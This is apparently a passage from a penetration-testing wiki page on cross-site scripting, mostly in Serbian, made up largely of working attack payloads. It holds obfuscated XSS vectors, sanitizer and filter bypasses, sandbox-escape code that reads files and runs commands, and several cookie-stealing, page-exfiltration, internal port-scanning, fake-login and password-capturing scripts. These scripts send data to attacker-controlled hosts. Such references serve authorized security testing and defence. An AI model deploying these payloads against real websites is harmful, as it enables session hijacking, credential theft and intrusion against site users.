$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>

DOM vulnerabilities

Postoji JS code koji koristi nebezbedne podatke koje kontroliše napadač poput location.href. Napadač može zloupotrebiti ovo da izvrši proizvoljni JS kod.
Due to the extension of the explanation of DOM vulnerabilities it was moved to this page:

DOM XSS

Tamo ćete naći detaljno objašnjenje šta su DOM vulnerabilities, kako nastaju, i kako ih eksploatisati.
Takođe, ne zaboravite da na kraju pomenutog posta možete naći objašnjenje o DOM Clobbering attacks.

Unapređivanje Self-XSS

Ako možete pokrenuti XSS slanjem payload-a unutar cookie-ja, ovo je obično self-XSS. Međutim, ako nađete ranjiv poddomen na XSS, možete zloupotrebiti taj XSS da ubacite cookie za ceo domen i tako trigger-ujete cookie XSS na glavnom domenu ili drugim poddomenima (onima ranjivim na cookie XSS). Za ovo možete koristiti cookie tossing attack:

Cookie Tossing

You can find a great abuse of this technique in this blog post.

Slanje vaše sesije adminu

Možda korisnik može podeliti svoj profil sa adminom i ako se self XSS nalazi u profilu korisnika i admin mu pristupi, on će trigger-ovati ranjivost.

Session Mirroring

Ako nađete self XSS i web stranica ima session mirroring za administratore, na primer omogućavajući klijentima da traže pomoć, admin koji želi da vam pomogne će videti ono što vi vidite u svojoj sesiji, ali iz svoje sesije.

Možete naterati administratora da trigger-uje vaš self XSS i ukrasti njegove cookie-je/sesiju.

Ostali bypassi

Bypassing sanitization via WASM linear-memory template overwrite

When a web app uses Emscripten/WASM, constant strings (like HTML format stubs) live in writable linear memory. A single in‑WASM overflow (e.g., unchecked memcpy in an edit path) can corrupt adjacent structures and redirect writes to those constants. Overwriting a template such as "

%.*s

" to "" turns sanitized input into a JavaScript handler value and yields immediate DOM XSS on render.

Check the dedicated page with exploitation workflow, DevTools memory helpers, and defenses:

Wasm Linear Memory Template Overwrite Xss

Normalised Unicode

Možete proveriti da li su reflected values unicode normalized na serveru (ili na client strani) i zloupotrebiti ovu funkcionalnost da zaobiđete zaštite. Find an example here.

PHP FILTER_VALIDATE_EMAIL flag Bypass

javascript
"><svg/onload=confirm(1)>"@x.y

Ruby-On-Rails bypass

Zbog RoR mass assignment navodnici se ubacuju u HTML, pa se ograničenje navodnika zaobilazi i dodatna polja (onfocus) mogu dodati unutar taga.
Primer forme (from this report), ako pošaljete payload:

contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa

Par "Key","Value" biće vraćen ovako:

{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}

Zatim će atribut onfocus biti umetnut i doći će do XSS-a.

Posebne kombinacije

html
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)

XSS sa header injection u 302 odgovoru

Ako utvrdite da možete inject headers in a 302 Redirect response možete pokušati da make the browser execute arbitrary JavaScript. Ovo nije trivijalno jer moderni browser-i ne interpretiraju telo HTTP response-a ako je HTTP response status code 302, pa sam payload za cross-site scripting neće raditi.

U ovom izveštaju i ovom možete pročitati kako možete testirati nekoliko protokola unutar Location header-a i videti da li koji od njih dozvoljava browseru da ispita i izvrši XSS payload unutar tela.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.

Samo slova, brojevi i tačke

Ako možete odrediti callback koji će javascript execute ograničen na te znakove. Pročitajte ovaj odeljak da saznate kako zloupotrebiti ovo ponašanje.

Valid <script> Content-Types to XSS

(From ovde) Ako pokušate da učitate script sa content-type kao application/octet-stream, Chrome će prikazati sledeću grešku:

Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.

The only Content-Types that will support Chrome to run a loaded script are the ones inside the const kSupportedJavascriptTypes from https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc

c
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};

Tipovi skripti za XSS

(From here) Dakle, koji tipovi mogu biti navedeni za učitavanje skripte?

html
<script type="???"></script>

Odgovor je:

  • module (podrazumevano, nema šta da se objašnjava)
  • webbundle: Web Bundles je funkcionalnost koja vam omogućava da spakujete skup podataka (HTML, CSS, JS…) u .wbn fajl.
html
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
  • importmap: Omogućava poboljšanje import sintakse
html
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>

<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>

Ovo ponašanje je iskorišćeno u this writeup da se remapira biblioteka na eval kako bi se zloupotrebilo i moglo da izazove XSS.

  • speculationrules: Ova funkcionalnost je uglavnom uvedena da reši neke probleme izazvane pre-renderingom. Radi na sledeći način:
html
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>

Web Content-Types to XSS

(From here) Sledeći Content-Types mogu izvršiti XSS u svim browserima:

  • text/html
  • application/xhtml+xml
  • application/xml
  • text/xml
  • image/svg+xml
  • text/plain (?? not in the list but I think I saw this in a CTF)
  • application/rss+xml (off)
  • application/atom+xml (off)

U drugim browserima drugi Content-Types mogu se koristiti za izvršavanje proizvoljnog JS-a, pogledajte: https://github.com/BlackFan/content-type-research/blob/master/XSS.md

xml Content Type

Ako stranica vraća text/xml content-type, moguće je označiti namespace i izvršiti proizvoljni JS:

xml
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>

<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->

Specijalni obrasci zamene

Kada se koristi nešto poput "some {{template}} data".replace("{{template}}", <user_input>). Napadač može da koristi special string replacements da pokuša da zaobiđe neke zaštite: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))

Na primer, u this writeup, ovo je korišćeno da scape a JSON string inside a script and execute arbitrary code.

Chrome Cache to XSS

Chrome Cache to XSS

XS Jails Escape

Ako imate samo ograničen skup karaktera koje možete koristiti, pogledajte ova druga valjana rešenja za XSJail probleme:

javascript
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))

// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))

with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))

//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()

// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE

Ako je sve undefined pre izvršavanja nepouzdanog koda (kao u this writeup) moguće je generisati korisne objekte "ni iz čega" kako bi se zloupotrebilo izvršavanje proizvoljnog nepouzdanog koda:

  • Korišćenjem import()
javascript
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
  • Pristupanje require indirektno

Prema ovom Node.js umotava module unutar funkcije, ovako:

javascript
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})

Stoga, ako iz tog modula možemo pozvati drugu funkciju, moguće je iz te funkcije koristiti arguments.callee.caller.arguments[1] da se pristupi require:

javascript
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()

Na sličan način kao u prethodnom primeru, moguće je use error handlers da pristupite wrapper modula i dobijete require funkciju:

javascript
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()

Obfuscation & Advanced Bypass

javascript
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
javascript
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
javascript
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
javascript
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻   / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
javascript
// It's also possible to execute JS code only with the chars: []`+!${}

Uobičajeni XSS payloads

Više payloads u jednom

Steal Info JS

Iframe zamka

Naterajte korisnika da se kreće po stranici bez izlaska iz iframe-a i presretnite njegove radnje (uključujući informacije poslate kroz forme):

Iframe Traps

Preuzimanje Cookies

javascript
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>

tip

Nećete moći da pristupite cookies iz JavaScript ako je HTTPOnly flag postavljen u cookie. Ali ovde imate some ways to bypass this protection ako imate sreće.

Krađa sadržaja stranice

javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)

Pronalaženje internih IP adresa

html
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51

// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}

// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}

function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})

setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>

Port Scanner (fetch)

javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }

Port Scanner (websockets)

python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}

Kratka vremena označavaju da port odgovara Duža vremena označavaju da nema odgovora.

Pregledajte listu portova zabranjenih u Chrome here i u Firefox here.

Polje za unos kredencijala

html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>

Hvatanje lozinki iz automatskog popunjavanja

javascript
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">

Kada se bilo koji podatak unese u password polje, username i password se šalju na attackers server — čak i ako klijent izabere saved password i ne unese ništa, credentials će biti ex-filtrated.

Hijack form handlers to exfiltrate credentials (const shadowing)

Ako je kritični handler (npr. function DoLogin(){...}) deklarisan kasnije na stranici, a vaš payload se izvršava ranije (npr. via an inline JS-in-JS sink), definišite const sa istim imenom prvo da preduhitrite i zaključate handler. Kasnije deklaracije funkcija ne mogu ponovo vezati (rebind) const ime, ostavljajući vaš hook pod kontrolom:

javascript
const DoLogin = () => {
const pwd  = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};

Napomene

  • Ovo zavisi od reda izvršavanja: vaš injection mora da se izvrši pre legitimne deklaracije.
  • Ako je vaš payload obuhvaćen u eval(...), const/let bindings neće postati globals. Use the dynamic <script> injection technique from the section “Deliverable payloads with eval(atob()) and scope nuances” to ensure a true global, non-rebindable binding.
